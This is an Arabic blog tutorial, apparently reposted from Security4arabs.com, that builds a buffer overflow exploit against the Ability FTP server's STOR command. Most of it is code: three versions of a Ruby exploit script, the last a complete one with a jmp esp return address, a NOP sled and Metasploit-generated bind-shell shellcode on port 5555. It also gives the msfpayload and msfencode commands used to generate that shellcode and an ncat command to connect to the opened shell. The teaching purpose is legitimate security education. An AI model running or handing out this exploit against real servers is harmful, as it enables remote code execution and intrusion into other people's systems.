#======================================================# # Ability FTP server exploit # # Security4arabs.com: Buffer Overflow tutorials # # Coded By: Sabri Saleh - KING SABRI | @KINGSABRI # #======================================================# require 'socket' junk = "A" * 969 eip = "\x0a\xaf\xd8\x77" nop = "\x90" * 8 shellcode = "S" * 370 rest = "C" * (2000 - (junk + eip + nop + shellcode).size) exploit = junk + eip + nop + shellcode + rest #-- Connection --# host = '10.0.0.76' port = 21 s = TCPSocket.open(host, port) s.recv(1024) puts "[+] " + "Sending Username." s.send("USER ftp\r\n", 0) s.recv(1024) puts "[+] " + "Sending Password." s.send("PASS ftp\r\n", 0) s.recv(1024) puts "[+] " + "Sending Evil buffer." s.send("STOR " + exploit + "\r\n", 0) total = s.send("STOR " + exploit + "\r\n", 0) s.close #-- Exploit Info --# puts "---------------------" puts "[+] " + "Buffer length: " + "#{exploit.size} bytes." puts "[+] " + "Total exploit size: " + "#{total} bytes." puts "[+] " + "Done!" |
ستجد الوضع كالتالي:
لاحظ لون الـ Breackpoint تغير وهذا يعني أننا وصلنا له بنجاح.
الأن إضغط F7 مرة واحدة وانظر ماذا سيحصل في النافذة العلوية اليسرى
الأن إضغط F7 مرة واحدة وانظر ماذا سيحصل في النافذة العلوية اليسرى
استمر في الضغط على F7 سترى أن الـ EIP يمشي الأن خلال الـ Shellcode وهو حرف
الـ S لو نزلت بالماوس لتسرع العملية ستجد أن في نهاية حرف الـ S هناك حرف C وهي
البايتات التي ذيلنا بها الexploit .
رائع!! لنبدأ إذاً في وضع Shellcode حقيقي
6. Generate shellcode and exploit
سنستخدم الـ metasploit shllcode من نوع Bind shell على منفذ 5555
بهذه الطريقة
بهذه الطريقة
1
|
./msfpayload windows/shell_bind_tcp LPORT=5555 R | ./msfencode -a x86 -t ruby
|
اغلق المنقح وشغل البرنامج لوحدة -دون إدخاله في المنقح- ضع المخرجات في السكريبت ونفذه
6.1. Generate shellcode
اذهب إلى
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 |
#!/usr/bin/env ruby
#======================================================# # Ability FTP server exploit # # Security4arabs.com: Buffer Overflow tutorials # # Coded By: Sabri Saleh - KING SABRI | @KINGSABRI # #======================================================# require 'socket' junk = "A" * 969 eip = "\x0A\xAF\xD8\x77" # jmp esp 0x77D8AF0A USER32.dll | use bof-cli.rb -e 0x77D8AF0A nop = "\x90" * 32 shellcode = #./msfpayload windows/shell_bind_tcp LPORT=5555 R | ./msfencode -a x86 -t ruby (size 368) "\xba\x7f\x60\xb5\x48\xd9\xee\xd9\x74\x24\xf4\x5d\x33\xc9" + "\xb1\x56\x31\x55\x13\x03\x55\x13\x83\xed\x83\x82\x40\xb4" + "\x93\xca\xab\x45\x63\xad\x22\xa0\x52\xff\x51\xa0\xc6\xcf" + "\x12\xe4\xea\xa4\x77\x1d\x79\xc8\x5f\x12\xca\x67\x86\x1d" + "\xcb\x49\x06\xf1\x0f\xcb\xfa\x08\x43\x2b\xc2\xc2\x96\x2a" + "\x03\x3e\x58\x7e\xdc\x34\xca\x6f\x69\x08\xd6\x8e\xbd\x06" + "\x66\xe9\xb8\xd9\x12\x43\xc2\x09\x8a\xd8\x8c\xb1\xa1\x87" + "\x2c\xc3\x66\xd4\x11\x8a\x03\x2f\xe1\x0d\xc5\x61\x0a\x3c" + "\x29\x2d\x35\xf0\xa4\x2f\x71\x37\x56\x5a\x89\x4b\xeb\x5d" + "\x4a\x31\x37\xeb\x4f\x91\xbc\x4b\xb4\x23\x11\x0d\x3f\x2f" + "\xde\x59\x67\x2c\xe1\x8e\x13\x48\x6a\x31\xf4\xd8\x28\x16" + "\xd0\x81\xeb\x37\x41\x6c\x5a\x47\x91\xc8\x03\xed\xd9\xfb" + "\x50\x97\x83\x93\x95\xaa\x3b\x64\xb1\xbd\x48\x56\x1e\x16" + "\xc7\xda\xd7\xb0\x10\x1c\xc2\x05\x8e\xe3\xec\x75\x86\x27" + "\xb8\x25\xb0\x8e\xc0\xad\x40\x2e\x15\x61\x11\x80\xc5\xc2" + "\xc1\x60\xb5\xaa\x0b\x6f\xea\xcb\x33\xa5\x9d\xcb\xfd\x9d" + "\xce\xbb\xff\x21\xe5\x88\x89\xc4\x6f\xff\xdf\x5f\x07\x3d" + "\x04\x68\xb0\x3e\x6e\xc4\x69\xa9\x26\x02\xad\xd6\xb6\x00" + "\x9e\x7b\x1e\xc3\x54\x90\x9b\xf2\x6b\xbd\x8b\x7d\x54\x56" + "\x41\x10\x17\xc6\x56\x39\xcf\x6b\xc4\xa6\x0f\xe5\xf5\x70" + "\x58\xa2\xc8\x88\x0c\x5e\x72\x23\x32\xa3\xe2\x0c\xf6\x78" + "\xd7\x93\xf7\x0d\x63\xb0\xe7\xcb\x6c\xfc\x53\x84\x3a\xaa" + "\x0d\x62\x95\x1c\xe7\x3c\x4a\xf7\x6f\xb8\xa0\xc8\xe9\xc5" + "\xec\xbe\x15\x77\x59\x87\x2a\xb8\x0d\x0f\x53\xa4\xad\xf0" + "\x8e\x6c\xdd\xba\x92\xc5\x76\x63\x47\x54\x1b\x94\xb2\x9b" + "\x22\x17\x36\x64\xd1\x07\x33\x61\x9d\x8f\xa8\x1b\x8e\x65" + "\xce\x88\xaf\xaf" rest = "C" * (2000 - (junk + eip + nop + shellcode).size) exploit = junk + eip + nop + shellcode + rest #-- Connection --# host = '10.0.0.76' port = 21 s = TCPSocket.open(host, port) s.recv(1024) puts "[+] " + "Sending Username." s.send("USER ftp\r\n", 0) s.recv(1024) puts "[+] " + "Sending Password." s.send("PASS ftp\r\n", 0) s.recv(1024) puts "[+] " + "Sending Evil buffer." s.send("STOR " + exploit + "\r\n", 0) total = s.send("STOR " + exploit + "\r\n", 0) s.close #-- Exploit Info --# puts "---------------------" puts "[+] " + "Buffer length: " + "#{exploit.size} bytes." puts "[+] " + "Total exploit size: " + "#{total} bytes." puts "[+] " + "Done!" |
الأن قم بالإتصال على منفذ 5555 بهذه الطريقة
1
|
ncat -nvv 10.0.0.76 5555
|
ستجد النتيجة هي
1
2 |
Ncat: Version 6.01 ( http://nmap.org/ncat )
Ncat: Connection refused. |
نعم, الShellcode لم يعمل بشكل صحيح وستجد رسالة خطأ خرجت من البرنامج. والسبب
هو وجود Bad characters
6.2. Find Bad/Restricted characters
الرجاء مراجعة موضوع (قمت بتحديث الموضوع): إيجاد الـ Bad characters في الـ Shellcode
إيجاد الـ Bad Characters في الـ Shellcode
إيجاد الـ Bad Characters في الـ Shellcode
لن أعيد ماكتبته وهنا سنجرب الـ Bad characters المشهورة والتي يجب تفاديها في
أي Shellcode نقوم بعمله وهذه ال characters هي “\x00\x0a\x0d”.
6.3. Real & clean shellcode
الأن, من الميتاسبلويت وبنفس الطريقة السابقة إلا أننا سنزيل الـ Bad characters
الذي نريد أن نزيحها
بهذه الطريقة
بهذه الطريقة
1
|
./msfpayload windows/shell_bind_tcp LPORT=5555 R | ./msfencode -a x86 -b '\x00\x0a\x0d' -t ruby
|
مخرجاته ستكون
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
[*] x86/shikata_ga_nai succeeded with size 368 (iteration=1)
buf = "\xda\xd0\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1\x56\xbf\x9d\x28" + "\xd0\x22\x83\xee\xfc\x31\x7e\x14\x03\x7e\x89\xca\x25\xde" + "\x59\x83\xc6\x1f\x99\xf4\x4f\xfa\xa8\x26\x2b\x8e\x98\xf6" + "\x3f\xc2\x10\x7c\x6d\xf7\xa3\xf0\xba\xf8\x04\xbe\x9c\x37" + "\x95\x0e\x21\x9b\x55\x10\xdd\xe6\x89\xf2\xdc\x28\xdc\xf3" + "\x19\x54\x2e\xa1\xf2\x12\x9c\x56\x76\x66\x1c\x56\x58\xec" + "\x1c\x20\xdd\x33\xe8\x9a\xdc\x63\x40\x90\x97\x9b\xeb\xfe" + "\x07\x9d\x38\x1d\x7b\xd4\x35\xd6\x0f\xe7\x9f\x26\xef\xd9" + "\xdf\xe5\xce\xd5\xd2\xf4\x17\xd1\x0c\x83\x63\x21\xb1\x94" + "\xb7\x5b\x6d\x10\x2a\xfb\xe6\x82\x8e\xfd\x2b\x54\x44\xf1" + "\x80\x12\x02\x16\x17\xf6\x38\x22\x9c\xf9\xee\xa2\xe6\xdd" + "\x2a\xee\xbd\x7c\x6a\x4a\x10\x80\x6c\x32\xcd\x24\xe6\xd1" + "\x1a\x5e\xa5\xbd\xef\x6d\x56\x3e\x67\xe5\x25\x0c\x28\x5d" + "\xa2\x3c\xa1\x7b\x35\x42\x98\x3c\xa9\xbd\x22\x3d\xe3\x79" + "\x76\x6d\x9b\xa8\xf6\xe6\x5b\x54\x23\xa8\x0b\xfa\x9b\x09" + "\xfc\xba\x4b\xe2\x16\x35\xb4\x12\x19\x9f\xc3\x14\xd7\xfb" + "\x80\xf2\x1a\xfc\x33\xb0\x92\x1a\x51\xa6\xf2\xb5\xcd\x04" + "\x21\x0e\x6a\x76\x03\x22\x23\xe0\x1b\x2c\xf3\x0f\x9c\x7a" + "\x50\xa3\x34\xed\x22\xaf\x80\x0c\x35\xfa\xa0\x47\x0e\x6d" + "\x3a\x36\xdd\x0f\x3b\x13\xb5\xac\xae\xf8\x45\xba\xd2\x56" + "\x12\xeb\x25\xaf\xf6\x01\x1f\x19\xe4\xdb\xf9\x62\xac\x07" + "\x3a\x6c\x2d\xc5\x06\x4a\x3d\x13\x86\xd6\x69\xcb\xd1\x80" + "\xc7\xad\x8b\x62\xb1\x67\x67\x2d\x55\xf1\x4b\xee\x23\xfe" + "\x81\x98\xcb\x4f\x7c\xdd\xf4\x60\xe8\xe9\x8d\x9c\x88\x16" + "\x44\x25\xb8\x5c\xc4\x0c\x51\x39\x9d\x0c\x3c\xba\x48\x52" + "\x39\x39\x78\x2b\xbe\x21\x09\x2e\xfa\xe5\xe2\x42\x93\x83" + "\x04\xf0\x94\x81" |
ضع هذا الShellcode في السكريبت
6.4. Exploit
الأن وأخيرا, أغلق البرنامج تماما وتأكد أنه لا يوجد أي Process تعمل للبرنامج وأعد تشغيله
لوحده دون المنقح
وبعد أن وضعنا مخرجات الـ Shellcode الجديد بدون Bad characters سيكون كالتالي
وبعد أن وضعنا مخرجات الـ Shellcode الجديد بدون Bad characters سيكون كالتالي
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 |
#!/usr/bin/env ruby
#======================================================# # Ability FTP server exploit # # Security4arabs.com: Buffer Overflow tutorials # # Coded By: Sabri Saleh - KING SABRI | @KINGSABRI # #======================================================# require 'socket' junk = "A" * 969 eip = "\x0A\xAF\xD8\x77" # jmp esp 0x77D8AF0A USER32.dll | use bof-cli.rb -e 0x77D8AF0A nop = "\x90" * 32 shellcode = #./msfpayload windows/shell_bind_tcp LPORT=5555 R | ./msfencode -a x86 -b '\x00\x0a\x0d' -t ruby (size 368) "\xda\xd0\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1\x56\xbf\x9d\x28" + "\xd0\x22\x83\xee\xfc\x31\x7e\x14\x03\x7e\x89\xca\x25\xde" + "\x59\x83\xc6\x1f\x99\xf4\x4f\xfa\xa8\x26\x2b\x8e\x98\xf6" + "\x3f\xc2\x10\x7c\x6d\xf7\xa3\xf0\xba\xf8\x04\xbe\x9c\x37" + "\x95\x0e\x21\x9b\x55\x10\xdd\xe6\x89\xf2\xdc\x28\xdc\xf3" + "\x19\x54\x2e\xa1\xf2\x12\x9c\x56\x76\x66\x1c\x56\x58\xec" + "\x1c\x20\xdd\x33\xe8\x9a\xdc\x63\x40\x90\x97\x9b\xeb\xfe" + "\x07\x9d\x38\x1d\x7b\xd4\x35\xd6\x0f\xe7\x9f\x26\xef\xd9" + "\xdf\xe5\xce\xd5\xd2\xf4\x17\xd1\x0c\x83\x63\x21\xb1\x94" + "\xb7\x5b\x6d\x10\x2a\xfb\xe6\x82\x8e\xfd\x2b\x54\x44\xf1" + "\x80\x12\x02\x16\x17\xf6\x38\x22\x9c\xf9\xee\xa2\xe6\xdd" + "\x2a\xee\xbd\x7c\x6a\x4a\x10\x80\x6c\x32\xcd\x24\xe6\xd1" + "\x1a\x5e\xa5\xbd\xef\x6d\x56\x3e\x67\xe5\x25\x0c\x28\x5d" + "\xa2\x3c\xa1\x7b\x35\x42\x98\x3c\xa9\xbd\x22\x3d\xe3\x79" + "\x76\x6d\x9b\xa8\xf6\xe6\x5b\x54\x23\xa8\x0b\xfa\x9b\x09" + "\xfc\xba\x4b\xe2\x16\x35\xb4\x12\x19\x9f\xc3\x14\xd7\xfb" + "\x80\xf2\x1a\xfc\x33\xb0\x92\x1a\x51\xa6\xf2\xb5\xcd\x04" + "\x21\x0e\x6a\x76\x03\x22\x23\xe0\x1b\x2c\xf3\x0f\x9c\x7a" + "\x50\xa3\x34\xed\x22\xaf\x80\x0c\x35\xfa\xa0\x47\x0e\x6d" + "\x3a\x36\xdd\x0f\x3b\x13\xb5\xac\xae\xf8\x45\xba\xd2\x56" + "\x12\xeb\x25\xaf\xf6\x01\x1f\x19\xe4\xdb\xf9\x62\xac\x07" + "\x3a\x6c\x2d\xc5\x06\x4a\x3d\x13\x86\xd6\x69\xcb\xd1\x80" + "\xc7\xad\x8b\x62\xb1\x67\x67\x2d\x55\xf1\x4b\xee\x23\xfe" + "\x81\x98\xcb\x4f\x7c\xdd\xf4\x60\xe8\xe9\x8d\x9c\x88\x16" + "\x44\x25\xb8\x5c\xc4\x0c\x51\x39\x9d\x0c\x3c\xba\x48\x52" + "\x39\x39\x78\x2b\xbe\x21\x09\x2e\xfa\xe5\xe2\x42\x93\x83" + "\x04\xf0\x94\x81" rest = "C" * (2000 - (junk + eip + nop + shellcode).size) exploit = junk + eip + nop + shellcode + rest #-- Connection --# host = '10.0.0.76' port = 21 s = TCPSocket.open(host, port) s.recv(1024) puts "[+] " + "Sending Username." s.send("USER ftp\r\n", 0) s.recv(1024) puts "[+] " + "Sending Password." s.send("PASS ftp\r\n", 0) s.recv(1024) puts "[+] " + "Sending Evil buffer." s.send("STOR " + exploit + "\r\n", 0) total = s.send("STOR " + exploit + "\r\n", 0) s.close #-- Exploit Info --# puts "---------------------" puts "[+] " + "Buffer length: " + "#{exploit.size} bytes." puts "[+] " + "Total exploit size: " + "#{total} bytes." puts "[+] " + "Done!" |
نفذ الـ Exploit ثم اتصل على الجهاز الهدف على منفذ 5555
1
|
ncat -nvv 10.0.0.76 5555
|
Demonstration
في النهاية, هذا فيدو توضيعي لكل ما تم عمله سابقا بشكل سريع.
تسعدنا زيارتك دائما, أتمنى أن تعجبكم المدونة , ويمكنكم زيارة المدونة بسرعة عن طريق جوجل فقط اكتب في مربع البحث ainoussera-programmer.blogspot.com.
هل أعجبك الموضوع ؟
ليست هناك تعليقات:
إرسال تعليق